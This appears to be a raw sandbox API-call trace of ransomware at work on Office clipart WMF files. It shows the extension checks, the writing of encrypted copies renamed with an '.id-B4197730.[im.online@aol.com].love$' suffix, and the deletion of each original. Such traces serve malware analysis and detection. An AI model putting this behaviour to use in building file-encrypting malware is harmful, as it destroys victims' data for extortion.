lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0275.542] lstrlenW (lpString=".rar") returned 4 [0275.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0275.542] lstrlenW (lpString=".bz2") returned 4 [0275.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0275.543] lstrlenW (lpString=".7z") returned 3 [0275.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0275.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.543] lstrlenW (lpString=".dbf") returned 4 [0275.543] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0275.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.543] lstrlenW (lpString=".1cd") returned 4 [0275.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0275.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105378.WMF") returned 68 [0275.543] lstrlenW (lpString=".jpg") returned 4 [0275.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0275.543] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0275.543] lstrlenW (lpString="J0105396.WMF") returned 12 [0275.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0275.544] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11012) returned 1 [0275.544] CloseHandle (hObject=0x488) returned 1 [0275.544] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 0x220 [0275.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0275.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0275.545] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.545] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0275.547] GetLastError () returned 0x0 [0275.547] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x2b04, lpOverlapped=0x0) returned 1 [0275.556] WriteFile (in: hFile=0x56c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x2b10, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2b10, lpOverlapped=0x0) returned 1 [0275.557] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0275.558] WriteFile (in: hFile=0x56c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0275.558] SetEndOfFile (hFile=0x56c) returned 1 [0275.558] CloseHandle (hObject=0x56c) returned 1 [0275.562] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0275.562] SetEndOfFile (hFile=0x488) returned 1 [0276.974] CloseHandle (hObject=0x488) returned 1 [0276.974] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0276.974] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105396.wmf")) returned 1 [0276.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.976] lstrlenW (lpString=".doc") returned 4 [0276.976] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.976] lstrlenW (lpString=".docx") returned 5 [0276.976] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0276.976] lstrlenW (lpString=".pdf") returned 4 [0276.976] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.976] lstrlenW (lpString=".xls") returned 4 [0276.976] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.976] lstrlenW (lpString=".xlsx") returned 5 [0276.976] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0276.976] lstrlenW (lpString=".ppt") returned 4 [0276.976] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.976] lstrlenW (lpString=".zip") returned 4 [0276.976] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.977] lstrlenW (lpString=".rar") returned 4 [0276.977] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.977] lstrlenW (lpString=".bz2") returned 4 [0276.977] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.977] lstrlenW (lpString=".7z") returned 3 [0276.977] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.977] lstrlenW (lpString=".dbf") returned 4 [0276.977] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.977] lstrlenW (lpString=".1cd") returned 4 [0276.977] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.977] lstrlenW (lpString=".jpg") returned 4 [0276.977] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.977] lstrlenW (lpString=".doc") returned 4 [0276.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0276.977] lstrlenW (lpString=".docx") returned 5 [0276.977] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0276.977] lstrlenW (lpString=".pdf") returned 4 [0276.977] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0276.977] lstrlenW (lpString=".xls") returned 4 [0276.977] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0276.978] lstrlenW (lpString=".xlsx") returned 5 [0276.978] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0276.978] lstrlenW (lpString=".ppt") returned 4 [0276.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0276.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.978] lstrlenW (lpString=".zip") returned 4 [0276.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0276.978] lstrlenW (lpString=".rar") returned 4 [0276.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0276.978] lstrlenW (lpString=".bz2") returned 4 [0276.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0276.978] lstrlenW (lpString=".7z") returned 3 [0276.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0276.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.978] lstrlenW (lpString=".dbf") returned 4 [0276.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0276.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.978] lstrlenW (lpString=".1cd") returned 4 [0276.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0276.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105396.WMF") returned 68 [0276.978] lstrlenW (lpString=".jpg") returned 4 [0276.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0276.979] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0276.979] lstrlenW (lpString="J0105410.WMF") returned 12 [0276.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0276.980] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=20444) returned 1 [0276.980] CloseHandle (hObject=0x488) returned 1 [0276.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220 [0276.980] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0276.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0276.981] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.981] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0276.983] GetLastError () returned 0x0 [0276.983] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0277.026] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0277.027] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.027] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.028] SetEndOfFile (hFile=0x2f8) returned 1 [0277.028] CloseHandle (hObject=0x2f8) returned 1 [0277.028] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.028] SetEndOfFile (hFile=0x488) returned 1 [0277.032] CloseHandle (hObject=0x488) returned 1 [0277.032] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.033] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0277.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.035] lstrlenW (lpString=".doc") returned 4 [0277.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.035] lstrlenW (lpString=".docx") returned 5 [0277.035] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0277.035] lstrlenW (lpString=".pdf") returned 4 [0277.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.035] lstrlenW (lpString=".xls") returned 4 [0277.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.035] lstrlenW (lpString=".xlsx") returned 5 [0277.035] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0277.035] lstrlenW (lpString=".ppt") returned 4 [0277.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.035] lstrlenW (lpString=".zip") returned 4 [0277.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.035] lstrlenW (lpString=".rar") returned 4 [0277.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.035] lstrlenW (lpString=".bz2") returned 4 [0277.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.035] lstrlenW (lpString=".7z") returned 3 [0277.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.035] lstrlenW (lpString=".dbf") returned 4 [0277.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.035] lstrlenW (lpString=".1cd") returned 4 [0277.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.036] lstrlenW (lpString=".jpg") returned 4 [0277.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.036] lstrlenW (lpString=".doc") returned 4 [0277.036] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.036] lstrlenW (lpString=".docx") returned 5 [0277.036] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0277.036] lstrlenW (lpString=".pdf") returned 4 [0277.036] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.036] lstrlenW (lpString=".xls") returned 4 [0277.036] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.036] lstrlenW (lpString=".xlsx") returned 5 [0277.036] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0277.036] lstrlenW (lpString=".ppt") returned 4 [0277.036] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.036] lstrlenW (lpString=".zip") returned 4 [0277.036] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.036] lstrlenW (lpString=".rar") returned 4 [0277.036] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.036] lstrlenW (lpString=".bz2") returned 4 [0277.037] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.037] lstrlenW (lpString=".7z") returned 3 [0277.037] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.037] lstrlenW (lpString=".dbf") returned 4 [0277.037] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.037] lstrlenW (lpString=".1cd") returned 4 [0277.037] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.037] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0277.037] lstrlenW (lpString=".jpg") returned 4 [0277.037] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.037] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0277.037] lstrlenW (lpString="J0105490.WMF") returned 12 [0277.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0277.039] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=18728) returned 1 [0277.039] CloseHandle (hObject=0x488) returned 1 [0277.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 0x220 [0277.040] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0277.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0277.040] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.041] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0277.042] GetLastError () returned 0x0 [0277.042] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x4928, lpOverlapped=0x0) returned 1 [0277.075] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4930, lpOverlapped=0x0) returned 1 [0277.077] ReadFile (in: hFile=0x488, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.077] WriteFile (in: hFile=0x2f8, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0277.077] SetEndOfFile (hFile=0x2f8) returned 1 [0277.077] CloseHandle (hObject=0x2f8) returned 1 [0277.077] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.077] SetEndOfFile (hFile=0x488) returned 1 [0277.081] CloseHandle (hObject=0x488) returned 1 [0277.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0277.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105490.wmf")) returned 1 [0277.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.083] lstrlenW (lpString=".doc") returned 4 [0277.083] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.083] lstrlenW (lpString=".docx") returned 5 [0277.084] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0277.084] lstrlenW (lpString=".pdf") returned 4 [0277.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.084] lstrlenW (lpString=".xls") returned 4 [0277.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.084] lstrlenW (lpString=".xlsx") returned 5 [0277.084] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0277.084] lstrlenW (lpString=".ppt") returned 4 [0277.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.084] lstrlenW (lpString=".zip") returned 4 [0277.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.084] lstrlenW (lpString=".rar") returned 4 [0277.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.084] lstrlenW (lpString=".bz2") returned 4 [0277.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.084] lstrlenW (lpString=".7z") returned 3 [0277.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.084] lstrlenW (lpString=".dbf") returned 4 [0277.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0277.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.084] lstrlenW (lpString=".1cd") returned 4 [0277.084] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0277.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.084] lstrlenW (lpString=".jpg") returned 4 [0277.084] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0277.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.085] lstrlenW (lpString=".doc") returned 4 [0277.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0277.085] lstrlenW (lpString=".docx") returned 5 [0277.085] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0277.085] lstrlenW (lpString=".pdf") returned 4 [0277.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0277.085] lstrlenW (lpString=".xls") returned 4 [0277.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0277.085] lstrlenW (lpString=".xlsx") returned 5 [0277.085] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0277.085] lstrlenW (lpString=".ppt") returned 4 [0277.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0277.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.085] lstrlenW (lpString=".zip") returned 4 [0277.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0277.085] lstrlenW (lpString=".rar") returned 4 [0277.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0277.085] lstrlenW (lpString=".bz2") returned 4 [0277.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0277.085] lstrlenW (lpString=".7z") returned 3 [0277.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0277.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105490.WMF") returned 68 [0277.085] lstrlenW (lpString=".dbf") returned 4 